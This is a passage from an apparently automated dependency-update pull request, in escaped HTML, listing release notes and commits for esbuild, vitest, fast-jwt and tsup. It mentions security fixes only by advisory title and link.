fails. Fixing the build error and triggering another rebuild will restore all output files again.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix correctness issues with the CSS nesting transform (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3620\"\u003e#3620\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3877\"\u003e#3877\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3933\"\u003e#3933\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3997\"\u003e#3997\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4005\"\u003e#4005\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4037\"\u003e#4037\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4038\"\u003e#4038\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThis release fixes the following problems:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eNaive expansion of CSS nesting can result in an exponential blow-up of generated CSS if each nesting level has multiple selectors. Previously esbuild sometimes collapsed individual nesting levels using \u003ccode\u003e:is()\u003c/code\u003e to limit expansion. However, this collapsing wasn't correct in some cases, so it has been removed to fix correctness issues.\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e/* Original code */\n.parent {\n  \u0026gt; .a,\n  \u0026gt; .b1 \u0026gt; .b2 {\n    color: red;\n  }\n}\n\u003cp\u003e/* Old output (with --supported:nesting=false) */\u003cbr /\u003e\n.parent \u0026gt; :is(.a, .b1 \u0026gt; .b2) {\u003cbr /\u003e\ncolor: red;\u003cbr /\u003e\n}\u003c/p\u003e\n\u003cp\u003e/* New output (with --supported:nesting=false) */\u003cbr /\u003e\n.parent \u0026gt; .a,\u003cbr /\u003e\n.parent \u0026gt; .b1 \u0026gt; .b2 {\u003cbr /\u003e\ncolor: red;\u003cbr /\u003e\n}\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/tim-we\"\u003e\u003ccode\u003e@​tim-we\u003c/code\u003e\u003c/a\u003e for working on a fix.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eThe \u003ccode\u003e\u0026amp;\u003c/code\u003e CSS nesting selector can be repeated multiple times to increase CSS specificity. Previously esbuild ignored this possibility and incorrectly considered \u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e to have the same specificity as \u003ccode\u003e\u0026amp;\u003c/code\u003e. With this release, this should now work correctly:\u003c/p\u003e\n\u003cpre lang=\"css\"\u003e\u003ccode\u003e/* Original code (color should be red) */\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/blob/main/CHANGELOG-2024.md\"\u003eesbuild's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog: 2024\u003c/h1\u003e\n\u003cp\u003eThis changelog documents all esbuild versions published in the year 2024 (versions 0.19.12 through 0.24.2).\u003c/p\u003e\n\u003ch2\u003e0.24.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eFix regression with \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003eimport.meta\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4010\"\u003e#4010\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4012\"\u003e#4012\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/evanw/esbuild/pull/4013\"\u003e#4013\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe previous change in version 0.24.1 to use a more expression-like parser for \u003ccode\u003edefine\u003c/code\u003e values to allow quoted property names introduced a regression that removed the ability to use \u003ccode\u003e--define:import.meta=...\u003c/code\u003e. Even though \u003ccode\u003eimport\u003c/code\u003e is normally a keyword that can't be used as an identifier, ES modules special-case the \u003ccode\u003eimport.meta\u003c/code\u003e expression to behave like an identifier anyway. This change fixes the regression.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca href=\"https://github.com/sapphi-red\"\u003e\u003ccode\u003e@​sapphi-red\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.24.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAllow \u003ccode\u003ees2024\u003c/code\u003e as a target in \u003ccode\u003etsconfig.json\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4004\"\u003e#4004\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eTypeScript recently \u003ca href=\"https://devblogs.microsoft.com/typescript/announcing-typescript-5-7/#support-for---target-es2024-and---lib-es2024\"\u003eadded \u003ccode\u003ees2024\u003c/code\u003e\u003c/a\u003e as a compilation target, so esbuild now supports this in the \u003ccode\u003etarget\u003c/code\u003e field of \u003ccode\u003etsconfig.json\u003c/code\u003e files, such as in the following configuration file:\u003c/p\u003e\n\u003cpre lang=\"json\"\u003e\u003ccode\u003e{\n  \u0026quot;compilerOptions\u0026quot;: {\n    \u0026quot;target\u0026quot;: \u0026quot;ES2024\u0026quot;\n  }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAs a reminder, the only thing that esbuild uses this field for is determining whether or not to use legacy TypeScript behavior for class fields. You can read more in \u003ca href=\"https://esbuild.github.io/content-types/#tsconfig-json\"\u003ethe documentation\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis fix was contributed by \u003ca href=\"https://github.com/billyjanitsch\"\u003e\u003ccode\u003e@​billyjanitsch\u003c/code\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow automatic semicolon insertion after \u003ccode\u003eget\u003c/code\u003e/\u003ccode\u003eset\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThis change fixes a grammar bug in the parser that incorrectly treated the following code as a syntax error:\u003c/p\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003eclass Foo {\n  get\n  *x() {}\n  set\n  *y() {}\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe above code will be considered valid starting with this release. This change to esbuild follows a \u003ca href=\"https://redirect.github.com/microsoft/TypeScript/pull/60225\"\u003esimilar change to TypeScript\u003c/a\u003e which will allow this syntax starting with TypeScript 5.7.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAllow quoted property names in \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003edefine\u003c/code\u003e and \u003ccode\u003epure\u003c/code\u003e API options now accept identifier expressions containing quoted property names. Previously all identifiers in the identifier expression had to be bare identifiers. This change now makes \u003ccode\u003e--define\u003c/code\u003e and \u003ccode\u003e--pure\u003c/code\u003e consistent with \u003ccode\u003e--global-name\u003c/code\u003e, which already supported quoted property names. For example, the following is now possible:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/e9174d671b1882758cd32ac5e146200f5bee3e45\"\u003e\u003ccode\u003ee9174d6\u003c/code\u003e\u003c/a\u003e publish 0.25.0 to npm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/c27dbebb9e7a55dd9a084dd151dddd840787490e\"\u003e\u003ccode\u003ec27dbeb\u003c/code\u003e\u003c/a\u003e fix \u003ccode\u003ehosts\u003c/code\u003e in \u003ccode\u003eplugin-tests.js\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/6794f602a453cf0255bcae245871de120a89a559\"\u003e\u003ccode\u003e6794f60\u003c/code\u003e\u003c/a\u003e fix \u003ccode\u003ehosts\u003c/code\u003e in \u003ccode\u003enode-unref-tests.js\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/de85afd65edec9ebc44a11e245fd9e9a2e99760d\"\u003e\u003ccode\u003ede85afd\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/da1de1bf77a65f06654b49878d9ec4747ddaa21f\"\u003e\u003ccode\u003eda1de1b\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4065\"\u003e#4065\u003c/a\u003e: bitwise operators can return bigints\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/f4e9d19fb20095a98bf40634f0380f6a16be91e7\"\u003e\u003ccode\u003ef4e9d19\u003c/code\u003e\u003c/a\u003e switch case liveness: \u003ccode\u003edefault\u003c/code\u003e is always last\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/7aa47c3e778ea04849f97f18dd9959df88fa0886\"\u003e\u003ccode\u003e7aa47c3\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4028\"\u003e#4028\u003c/a\u003e: minify live/dead \u003ccode\u003eswitch\u003c/code\u003e cases better\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/22ecd306190b8971ec4474b5485266c20350e266\"\u003e\u003ccode\u003e22ecd30\u003c/code\u003e\u003c/a\u003e minify: more constant folding for strict equality\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/4cdf03c03697128044fa8fb76e5c478e9765b353\"\u003e\u003ccode\u003e4cdf03c\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4053\"\u003e#4053\u003c/a\u003e: reordering of \u003ccode\u003e.tsx\u003c/code\u003e in \u003ccode\u003enode_modules\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/evanw/esbuild/commit/dc719775b7140120916bd9e6777ca1cb8a1cdc0e\"\u003e\u003ccode\u003edc71977\u003c/code\u003e\u003c/a\u003e fix \u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3692\"\u003e#3692\u003c/a\u003e: \u003ccode\u003e0\u003c/code\u003e now picks a random ephemeral port\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/evanw/esbuild/compare/v0.20.2...v0.25.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 2.1.8 to 2.1.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.1.9\u003c/h2\u003e\n\u003cp\u003eThis release includes security patches for:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5\"\u003eBrowser mode serves arbitrary files | CVE-2025-24963\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq\"\u003eRemote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ebackport \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/7317\"\u003evitest-dev/vitest#7317\u003c/a\u003e to v2 - by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/pull/7318\"\u003evitest-dev/vitest#7318\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e(backport \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7340\"\u003e#7340\u003c/a\u003e to v2) restrict served files from \u003ccode\u003e/__screenshot-error\u003c/code\u003e - by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/pull/7343\"\u003evitest-dev/vitest#7343\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v2.1.8...v2.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c9e59a089d94642eea29a43f2ee1986a5afb99c6\"\u003e\u003ccode\u003ec9e59a0\u003c/code\u003e\u003c/a\u003e chore: release v2.1.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383\"\u003e\u003ccode\u003ee0fe1d8\u003c/code\u003e\u003c/a\u003e fix: backport \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7317\"\u003e#7317\u003c/a\u003e to v2 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7318\"\u003e#7318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v2.1.9/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 4.0.5 to 5.0.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.6\u003c/h2\u003e\n\u003ch2\u003eSECURITY RELEASE\u003c/h2\u003e\n\u003cp\u003eThis release contains a fix for \u003ca href=\"https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\"\u003ehttps://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eUpgrading is strongly recommended.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/tibrn\"\u003e\u003ccode\u003e@​tibrn\u003c/code\u003e\u003c/a\u003e for reporting, and \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e for fixing it.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.5 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/540\"\u003enearform/fast-jwt#540\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fix node 23 by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/541\"\u003enearform/fast-jwt#541\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump mnemonist from 0.39.8 to 0.40.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/544\"\u003enearform/fast-jwt#544\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: add type for cacheKeyBuilder by \u003ca href=\"https://github.com/aheckmann\"\u003e\u003ccode\u003e@​aheckmann\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/546\"\u003enearform/fast-jwt#546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitata benchmark by \u003ca href=\"https://github.com/andolivieri-nf\"\u003e\u003ccode\u003e@​andolivieri-nf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/548\"\u003enearform/fast-jwt#548\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix benchmarks with regards to jsonwebtoken performance by \u003ca href=\"https://github.com/Gobd\"\u003e\u003ccode\u003e@​Gobd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/535\"\u003enearform/fast-jwt#535\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aheckmann\"\u003e\u003ccode\u003e@​aheckmann\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/546\"\u003enearform/fast-jwt#546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/andolivieri-nf\"\u003e\u003ccode\u003e@​andolivieri-nf\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/548\"\u003enearform/fast-jwt#548\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Gobd\"\u003e\u003ccode\u003e@​Gobd\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/535\"\u003enearform/fast-jwt#535\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.5...v5.0.6\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.5...v5.0.6\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/525\"\u003enearform/fast-jwt#525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: upgrade deps by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/526\"\u003enearform/fast-jwt#526\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChore/types definition by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/527\"\u003enearform/fast-jwt#527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fake timer by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/528\"\u003enearform/fast-jwt#528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFeat/generic signer verifier by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/529\"\u003enearform/fast-jwt#529\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.3 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/530\"\u003enearform/fast-jwt#530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eupdate nearform banner link by \u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/533\"\u003enearform/fast-jwt#533\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump eslint-config-prettier from 9.1.0 to 10.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/538\"\u003enearform/fast-jwt#538\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.4 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/539\"\u003enearform/fast-jwt#539\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.2...v5.0.5\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.2...v5.0.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/523\"\u003enearform/fast-jwt#523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(types): Add missing input type for DecodedJwt and Updated input field to return decoded 'input' by \u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/524\"\u003enearform/fast-jwt#524\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/524\"\u003enearform/fast-jwt#524\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.1...v5.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.1...v5.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.1\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0dbaa53023ba641b9ed6a1b93c82170381ad0f93\"\u003e\u003ccode\u003e0dbaa53\u003c/code\u003e\u003c/a\u003e Release v5.0.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd\"\u003e\u003ccode\u003ecc26b1d\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/d2b0ccb103848917848390f96f06acee339a7a19\"\u003e\u003ccode\u003ed2b0ccb\u003c/code\u003e\u003c/a\u003e chore: update optic action to use the correct version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/79208cace7b5453fd1e4e96a84434d94f4d00ae1\"\u003e\u003ccode\u003e79208ca\u003c/code\u003e\u003c/a\u003e Fix benchmarks with regards to jsonwebtoken performance (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/535\"\u003e#535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ce5b923c3dc3cd671549b59bf97f5d2113921287\"\u003e\u003ccode\u003ece5b923\u003c/code\u003e\u003c/a\u003e Port benchmarks to mitata\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ffc1b8c93d50e92c5fa956b737565adaf48fb8c3\"\u003e\u003ccode\u003effc1b8c\u003c/code\u003e\u003c/a\u003e chore: add type for cacheKeyBuilder (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/546\"\u003e#546\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/cd12d284c0de1202eade1d001b49ba07dd7ab26b\"\u003e\u003ccode\u003ecd12d28\u003c/code\u003e\u003c/a\u003e chore(deps): bump mnemonist from 0.39.8 to 0.40.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/544\"\u003e#544\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/bbc25ecc4e0dc8b1956441c470d928a2700770c5\"\u003e\u003ccode\u003ebbc25ec\u003c/code\u003e\u003c/a\u003e chore: fix node 23 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/541\"\u003e#541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f14de38c3e9b7a27459d556dab60cb34e5c0dfd2\"\u003e\u003ccode\u003ef14de38\u003c/code\u003e\u003c/a\u003e Release v5.0.5 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/540\"\u003e#540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/354c4c1d9e186dec6c8d2b80b258612f7e09cf3b\"\u003e\u003ccode\u003e354c4c1\u003c/code\u003e\u003c/a\u003e Release v5.0.4 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/539\"\u003e#539\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v4.0.5...v5.0.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tsup` from 8.0.2 to 8.3.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/egoist/tsup/releases\"\u003etsup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.3.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRun \u003ccode\u003eexperimentalDts\u003c/code\u003e only once  -  by \u003ca href=\"https://github.com/aryaemami59\"\u003e\u003ccode\u003e@​aryaemami59\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1236\"\u003eegoist/tsup#1236\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/fddd451\"\u003e\u003c!-- raw HTML omitted --\u003e(fddd4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/egoist/tsup/compare/v8.3.4...v8.3.5\"\u003eView changes on 